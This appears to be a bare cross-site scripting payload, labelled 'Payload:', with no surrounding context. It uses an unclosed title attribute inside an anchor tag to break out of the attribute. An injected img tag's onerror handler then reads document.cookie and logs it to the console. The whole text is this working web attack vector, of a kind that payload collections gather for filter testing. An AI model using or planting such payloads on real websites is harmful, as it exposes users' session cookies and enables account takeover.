Payload:
<a title ="a
<img src=x onerror=console.log(document.cookie)>xss</a>